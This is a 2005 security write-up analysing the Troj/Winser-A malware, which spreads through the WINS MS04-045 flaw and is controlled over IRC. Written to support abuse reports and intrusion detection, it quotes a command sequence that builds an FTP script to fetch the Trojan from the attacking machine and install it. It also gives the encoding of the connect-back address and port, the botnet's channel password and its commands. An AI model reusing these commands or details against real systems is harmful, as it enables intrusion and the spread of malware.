Does this site look plain?

This site uses advanced css techniques

[Reverse Engineering Malware logo]

Lawrence Baldwin of MyNetWatchman runs a distributed firewall log network that collects intrusion information from thousands of systems worldwide, and it provides a kind of "early warning" system for internet activity. Reports are collected and summarized to ISPs, which are able to take action more efficiently than if these reports were sent individually (and perhaps with less detail).

While noticing increased activity of a certain type, he was able to research selected systems and actually capture some of the malware responsible for that activity. This has been called Troj/Winser-A by Sophos, but we're presenting a more detailed analysis here.

The main player is ccEvtMngr.exe, which is clearly an attempt to masquerade as the similarly-named ccevtmgr, the Symantec Event Manager Service. The file is 139kbytes large, and it contains (among other things) a complete copy of a smaller program, ccSetMngr.exe that it attempts to drop on the infected system.

Note: this is a Trojan, not a worm, and it's been permanently disabled as of this writing due to the removal a key DNS name. This is no longer active malware.

Executive Summary

The main program, ccEvtMngr.exe is a trojan that spreads via the WINS MS04-045 vulnerability, and it does so via outbound connections to port 42/tcp.

When a new machine is compromised, the infected machine "phones home" back to the attacking machine to port 37264/tcp, and then spawns a command shell, waiting for input. The attacking machine sends what amounts to a small batch file that launches an FTP program. It calls back to the attacking machine on port 36010/tcp, which is listening with a pseudo-FTP server. It downloads and installs itself on that machine.

This process is controlled by an IRC server, which seems to have a number of machines participating in the process. The Trojan frequently "phones home" to inform the server of its progress.

Abuse reports have been dispatched to the ISPs responsible for the IRC servers in question.

ccSetMngr.exe - The exploit tool

This, the smaller of the two files, appears to be a standalone exploit tool that attempts to infect a target machine via one of several variations of the WINS exploit. Once infected, the target machine is told to connect back to a machine where perhaps a shell is opened and input awaited.

The internal strings suggest its original name was wins_exp, and the other strings helpfully provide a usage message and information on the target types:

Subset of strings from binary (full set here)
Usage: wins_exp [-h] [-r host] [-t targets] [-l listen host] [-p listen port]

   0 | Windows 2000 ALL
   1 | Windows 2003 CN
   2 | Windows 2003 EN
   3 | Windows 2003 EN  #2
   4 | Windows NT   ALL

Expanding on the usage message above, we find these options provided by the program. Helpfully, both "dash" and "slash" notation are supported (e.g., -r and /r both work):

-t target
Each operating system (or variant) requires a particular data pattern to effect the exploit, and this directs the program to use a particular one. Valid targets are 0..4 per the chart in the usage example above.
-l listenhost
This IP address is plugged into the attack data and provides a place for the infected machine to "phone home", and it's usually (but not always) the machine running wins_exp.
-p port
This is the TCP port number on the connect-back machine.
-r host
This defines the target computer to be attacked
This parameter, though in the usage message, is not actually supported by the code.

The code appears to contain no locally-dangerous code (e.g., no attempt to open files, access the registry, run other programs, etc.), so we felt safe in running it directly from the command line. We pointed it to a port-capture program to collect the various binary data patterns sent by the tool.

In each case, it makes an outbound connection to port 42/tcp (WINS) on the target system and sends a 9212-byte packet that contains the connect-back IP address and port number in a encoded format, and in the case of all the Win2003 attacks, follows it with a second (but different) 9212-byte packet. The code mentions "sending a carsh packet", but it very well may be a misspelling of "crash".

Curiously, the "2003 CN" and "2003 EN" attacks send the same pair of packets, and the code confirms that there is no difference between them. This looks like a bug.

We've not dug into the exploit details themselves, but we'd not be surprised if it used a variant of the exploit posted by K-Otik.

Network-Attack data patterns

We have captured all the data patterns sent to all the target types, and with the exception of the connect-back IP address and port, the rest of the patterns appear to be fixed.

The connect-back IP address is in four bytes starting at offset 0x519, and it's XOR'd with the pattern 0x99999999. The port number is in two bytes starting at 0x520, also XOR'd with 0x9999. The example shown here is set with, and this is encoded as:

  IP Address    port
-------------   -----
192 168  1  1   30000     cleartext, decimal
 C0  A8 01 01   75 30     cleartext, hexadecimal
 59  31 98 98   EC A9     encoded, hexadecimal
[WINS connectback]

We expect that these could be used to create capture patterns for the snort Intrusion Detection System.

Note that these .bin files are the raw data as received by the capture program, and contains no housekeeping or wrapper data: 9212 bytes on the wire, 9212 bytes in the files.

Target type First attack packet Second attack packet
Windows NT wins_exp.nt4.bin (none)
Windows 2000 ALL wins_exp.w2k.bin (none)
Windows 2003 EN
Windows 2003 CN
wins_exp.2k3EN1-A.bin wins_exp.2k3EN1-B.bin
Windows 2003 EN2 wins_exp.2k3EN2-A.bin wins_exp.2k3EN2-B.bin

We have not researched the contents of the attack packets to any degree, though they are likely based on exploit code that has been published already.

ccEvtMngr.exe - The Trojan

The Trojan itself contains in its data section a full copy of the above ccSetMngr program, and it drops it when it lands somewhere. This very well could be some standard Trojan framework: those who recognize it are encouraged to let us know.

The program is almost entirely one function: WinMain is huge (with more than 300 local labels at the machine-code level), and it uses more than 100k of local stack. It looks exceptionally sloppy.

The ASCII strings for the program are here.

It is designed to run standalone or as a service, and the command line guides this. When run with "install", it installs itself as an auto-start service named "NetTcpd", and it uses its own file as the service executable. If the command line option is "remove", it uninstalls the service and exits.

However launched, it then creates a mutex named "uhmshhhplz4reelz", and if it already exists, it exits quietly. It doesn't retain a HANDLE to this object, so it merely creates it for existence and relies on the HANDLE being closed when it exists.

It arranges for itself to start from the Run key in HKLM:


Note the plural spelling of nortonsantivirus.

After startup, the program opens its own executable file and reads a copy of into allocated memory. It will try several times to read this, presumably to get around sharing issues. This chunk of memory is used when providing a copy of itself to infected machines later.

It starts a "connectback thread" that accepts connections on 37264/tcp, which is the port given to ccSetMngr to connect back to. It expect to get connections from infected systems, and those systems have a command shell on the other end. The connectback thread sends these commands (all as one long string, each command separated with &:

echo off
echo open my IP address 36010>>cmd.ftp
echo blah>>cmd.ftp
echo hack >>cmd.ftp
echo get ccEvtMngr.exe>>cmd.ftp
echo bye>>cmd.ftp
echo on
ftp -s:cmd.ftp
ccEvtMngr.exe install
echo off
del cmd.ftp
echo on

The exploited machines are downloading a copy of this very executable, ccEvtMngr.exe and installing it, so at this point the worm has now officially "spread".

Another thread in the program on 36010/tcp, and when it accepts a new connection, it spawns a new thread to service that client. This new thread issues a prompt:


It seems clear that this is not really an FTP server, but a dummy handshaker that's responding to the set of commands issued by the connectback thread.

The IRC Server

The program has some interaction with an IRC server, connecting to channel #shhplz, and the password is nono.

A colleague ( user removed) has investigated this machine and provided some background.

At the time of this writing, the name maps to multiple IP addresses.

IP address Inverse DNS Comments transedge (reseller) DSL/T1 pipe, probably hacked against TOS, provider does not allow linked ircds Hosted at theplanet/servermatrix dedicated box: against TOS, provider does not allow linked ircds unknown at some small ISP up north, probably hacked another box on some small ISP, probably hacked transedge (reseller) DSL/T1 pipe (probably hacked)

He reports that the IRC server software has been heavily modified: it's not possible to see other IP addresses, request a list of channels, or do anything else.

MOTD of the IRC server:
Welcome to the Internet Relay Network removed
Your host is, running version beware1.5.7
This server was created Tue Jul 13 2004 at 20:36:07 GMT beware1.5.7 dgikoswx bhiklmnoprstv
   MAXCHANNELS=10 MAXBANS=100 are supported by this server
   PREFIX=(ohv)@%+ CHANMODES=b,k,l,rimnpst CASEMAPPING=rfc1459
   are supported by this server
Message of the day,
- 2004-12-31 21:45
- Welcome to the Complete Construction Cost IRC Server
- The Beximco 3 C's
- This is a PRIVATE IRC Server, if you were not invited,
- please leave immediately.
- Problems? Contact us:
- Beximco Engineering Ltd.
- Beximco Pharma Project
- Squib Road, Charg Ali, Tongi Gazipur, Bangladesh
- Telephone:880-189-226488 (Network Support)
- e-mail:
- Any connections to the bel3c IRC Server signifies acceptance
- of the terms and conditions. If you have not yet read and agreed
- to the terms and conditions you must exit this network.
- Unauthorized access will be prosecuted.
- All connections are logged.
- Thank you,
- Staff
End of /MOTD command.

Topic is: evil
Set by: on Fri Dec 31 23:58:30 2004
Joined: #shhplz Total Users: 99 OPs: 0 (0%) Voice: 0 (0%) Users: 99 (100%)

It's not a bad guess that the operators of these servers do not welcome visitors, so poking around from networks you care about is probably a really bad idea.

The Trojan Program

We had spent quite a few days wandering around the binary with IDA PRo that we were pretty comfortable that the program wasn't going to be malicious on our own system, so we fired it up in order to characterize its runtime behavior.

The first step we took was to add an entry in /etc/hosts to redirect attempts to to a friendly IRC server, and then we watched its behavior. It connects to the IRC server and performs several commands:

1  NICK b11l50ka

2  USER auser "" "" :auser

3  USERHOST b11l50ka

4  JOIN #shhplz nono

5  PING :irc

Lines 1 and 3 contain a nickname that is constructed from runtime system information (process ID, clock, etc.). The nickname always starts with b. Line 2 appears to always be the same, and this suggests a pattern for IDS. We saw no efforts whatsoever to fragment the data.

It then listens for commands from the server addressed to it, and it only responds when the calling hostname is one of or a.reet.hax0r. Initially we got around this in the debugger, but that became tedious so we simply patched the binary to jump around the string tests. This allows any user to drive the bot, and we'll provide this binary once we remove a few more minor bits.

All the commands appear to start with !, which seems to be standard fare for bots, and we're still figuring out what they all do. We'll list the commands we know about now, filling in the details as we find them.

Reports the speed of the infected computer
Reports the disk space available on the system:
<b11l4mbj> C:\ Total free GB = 1.700344 of 7.813564
<b11l4mbj> D:\ Total free GB = 26.330898 of 39.060291
<b11l4mbj> E:\ Total free GB = 58.571850 of 67.610561
<b11l4mbj> F:\ Total free GB = 25.293480 of 55.897858
<b11l4mbj> M:\ Total free GB = 6.264694 of 39.060322
<b11l4mbj> T:\ Total free GB = 13.491421 of 19.533958
Reports the current build number for the software (currently build 21)
!exec command
Runs command on the local system. No console window appears.
This reboots the system, taking care to grant itself rights to do so.

Researching the botnet

One of the "allowed" hosts is, and the forward IP address - at the time of this writing - is, which properly inverses to On a hunch, we visited this machine to see if it had an IRC server with the same channel, and sure enough: it did.

We were on the channel long enough to run a /whois command for each nickname attached, and revealed 18 systems that seem to be participating in the botnet (but not the same botnet as Troj/Winser-A}:

~ a1ami8f is: * nohax
~ a2ljj44 is: * nohax

~ a4m99fek is: * nohax
~ a5dok3lf is: * nohax

~ abi17nlm is: * nohax

~ ajmn035 is: * nohax

~ aa3j4na5 is: * nohax
~ aamb4pob is: * nohax

~ a6j8enp3 is: * nohax

~ a6bng58p is: * nohax

~ a2fl93l7 is: * nohax

UUNET / Corporate Executive Suites
~ am1a is: ~nohax@ * nohax

UUNET/ Datastream Group
~ aa9diood is: ~nohax@ * nohax

~ acomb8pf is: ~nohax@ * nohax

Broadwing / Total_Web_Host_Solutions
~ ab5jlkj7 is: ~nohax@ * nohax

Esurf Holdings Limited
~ a1ek is: ~nohax@ * nohax

~ acom2n1l is: * nohax
~ a19obebh is: * nohax

Owners of these systems ought to take steps to clean them up.

At first, we suspected the owner of the domain to be complicit in this - why else would the curious long name be in his zone file? - but later research revealed that the zone file has a wildcard record, so resolves to that same IP.

The owner of the machine in question - Daniel Hayes - has been quite forthcoming about this, providing us with logs:

services.log.20050104:[Jan 04 23:53:06 2005] NickServ:
Bob! identified for nick Bob

services.log.20050104:[Jan 04 23:53:07 2005] HostServ: Bob!
host is now

services.log.20050105:[Jan 05 15:05:31 2005] NickServ: Bob!
identified for nick Bob

services.log.20050105:[Jan 05 15:05:32 2005] HostServ: Bob!
host is now

services.log.20050105:[Jan 05 15:57:04 2005] vHost for user bob set to
Zero.Cool.In.The.Flesh by oper |Darth|

services.log.20050106:[Jan 06 01:39:41 2005] NickServ: Bob!
identified for nick Bob

services.log.20050106:[Jan 06 01:39:42 2005] HostServ: Bob!
host is now Zero.Cool.In.The.Flesh

The machine is run by a service provider who sells (among other things) shell accounts, and "Bob" is merely a customer. "Bob" was running BNC, an IRC redirector which allows him to proxy his connection and hide his real IP address. This in itself is an entirely legitimate use.

We have also come to understand that "Bob" is actually an authorized operator on the IRC server in question, though presumably not for activities such as running a botnet. "Bob" was apparently concerned about this information becoming public, perhaps because he didn't wish to risk losing his operator status on the server.

We think that Daniel perhaps ought to show a bit more care in selecting his friends, but in the online world it's not really fair to hold him completely responsible for the actions of others. In addition, one does not need to be a trusted operator to perpetrate this kind of bad behavior, so this further mitigates his responsibility.


Thu Thu Jan 6 23:40 PST 2005
Abuse notifications were dispatched to:
  • abuse/ (Transedge)
  • abuse/
  • abuse/
  • abuse/
  • secure/ [via Cc:]
Fri Jan 7 08:35 PST 2005
This paper hits the INCIDENTS list
Fri Jan 7 16:00 PST 2005
This paper hits BUGTRAQ and ISC
Fri Jan 7 20:45 PST 2005
Added substantial information about the Trojan and the botnet.
Fri Jan 7 21:45 PST 2005
Infected bot machines reported to their respective ISPs
Fri Jan 7 21:53 PST 2005
The name disappeared from DNS, though the rest of the domain seems to be there. We didn't report this, so it could be that somebody else (Microsoft?) did.
Sun Jan 9 10:30 PST 2005
Posted the .IDB files in a ZIP


The two files in question are available here;

Note that the .IDB files are refreshed only occasionally and may not be the absolute latest of what I'm working on, but it's settled down a lot of late.

Other Resources


Thanks to...

... myNetWatchman for capturing this malware for us to analyze.

... DSLR user "removed" for his extensive help on IRC matters.

... to Chris Mospaw for graphic design.

... to Ilfak Guilfanov for his IDA Pro interactive disassembler, the best software of any kind, ever.

Last updated: Sun Jan 9 10:30:56 PST 2005